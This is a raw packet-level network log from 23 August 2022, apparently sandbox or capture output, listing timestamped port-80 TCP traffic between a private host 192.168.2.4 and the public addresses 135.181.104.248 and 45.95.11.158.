Aug 23, 2022 03:42:56.339534044 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.339564085 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.339576960 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.339595079 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.339627028 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.339643955 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.339658022 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.339670897 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.339689970 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.339721918 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.339735985 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.339751005 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.339761972 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.339782000 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.339811087 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.339831114 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.339860916 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.339862108 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.339870930 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.339874029 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.339894056 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.339900017 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.339924097 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.339931011 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.339946032 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.339967012 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.339973927 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.339986086 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.340003967 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.340010881 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.340034008 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.340040922 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.340054035 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.340071917 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.340082884 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.340092897 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.340112925 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.340121031 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.340147972 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.340150118 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.340171099 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.340190887 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.340209961 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.341371059 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.341456890 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.341475010 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.341514111 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.341551065 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.341571093 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.341599941 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.341609955 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.341634989 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.341636896 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.341676950 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.341705084 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.341725111 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.341748953 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.341829062 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.343060970 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.343091965 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.343122959 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.343122005 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.343143940 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.343144894 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.343162060 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.343173027 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.343178988 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.343210936 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.343244076 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.343276024 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.343281984 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.343306065 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.343312979 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.343342066 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.343375921 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.343509912 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.343518972 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.343533039 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.343550920 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.343569040 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.356715918 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.356796026 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.356802940 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.356857061 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.356909037 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.356967926 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.357028008 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.357086897 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.357090950 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.357155085 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.357182980 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.357207060 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.357217073 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.357275009 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.357327938 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.357335091 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.357397079 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.357454062 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.357455969 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.357515097 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.357530117 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.357563019 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.357573986 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.357634068 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.357673883 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.357688904 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.357696056 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.357754946 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.357815981 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.357920885 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.357943058 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.357955933 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.357980967 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.358004093 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.358043909 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.358105898 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.358105898 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.358172894 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.358175993 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.358222008 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.358234882 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.358294010 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.358342886 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.358352900 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.358402014 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.358413935 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.358469963 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.358473063 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.358534098 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.358581066 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.358592987 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.358653069 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.358705997 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.358714104 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.358762980 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.358779907 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.358839035 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.358875036 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.358887911 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.358901024 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.358958960 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.359004021 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.359018087 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.359077930 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.359138012 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.359143019 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.359224081 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.359226942 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.359266996 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.359289885 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.359369040 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.359424114 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.359433889 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.359493017 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.359539032 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.359560013 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.359565973 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.359572887 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.359595060 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.359603882 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.359622002 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.359646082 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.359647989 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.359664917 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.359674931 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.359692097 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.359700918 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.359711885 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.359729052 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.359740019 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.359755993 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.359766960 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.359783888 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.359798908 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.359811068 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.359822035 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.359837055 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.359850883 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.359863997 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.359877110 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.359890938 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.359891891 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.359918118 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.359925985 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.359945059 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.359954119 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.359975100 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.359983921 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.360002041 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.360008955 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.360030890 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.360039949 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.360058069 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.360065937 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.360085011 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.360102892 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.360110998 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.360121965 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.360161066 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.360188961 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.360198975 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.360215902 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.360223055 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.360244036 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.360249996 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.360271931 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.360279083 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.360297918 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.360305071 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.360325098 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.360335112 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.360352993 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.360361099 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.360378981 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.360393047 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.360405922 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.360418081 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.360433102 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.360435963 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.360460043 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.360469103 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.360488892 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.360491991 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.360515118 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.360522032 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.360541105 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.360551119 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.360568047 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.360579967 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.360594988 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.360605955 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.360620975 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.360635042 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.360647917 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.360658884 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.360673904 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.360675097 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.360702038 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.360728025 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.360749006 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.360754967 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.360779047 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.360784054 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.360801935 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.360811949 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.360820055 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.360837936 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.360850096 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.360865116 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.360877037 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.360893011 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.360914946 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.360920906 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.360937119 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.360949039 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.360975981 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.360980034 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.361002922 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.361016035 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.361032009 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.361037016 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.361057997 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.361072063 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.361088037 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.361119032 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.361121893 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.361146927 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.361172915 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.361197948 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.361200094 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.361224890 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.361231089 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.361237049 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.361252069 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.361263990 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.361280918 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.361290932 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.361310959 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.361320019 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.361340046 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.361349106 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.361367941 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.361377954 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.361423969 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.361828089 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.361855984 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.361881971 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.361901999 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.361903906 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.361927032 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.361954927 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.361963987 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.361980915 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.361980915 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.361998081 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.362020016 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.362047911 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.365483999 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.365511894 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.365539074 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.365552902 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.365560055 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.365575075 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.365586996 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.365613937 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.365613937 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.365617990 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.365639925 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.365641117 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.365660906 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.365685940 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.365710020 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.367172003 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.367201090 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.367239952 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.367259979 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.367265940 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.367286921 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.367291927 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.367317915 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.367319107 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.367336988 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.367341042 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.367368937 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.367376089 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.367402077 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.367404938 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.367429972 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.367432117 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.367449999 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.367459059 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.367475986 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.367476940 CEST	80	49743	45.95.11.158	192.168.2.4
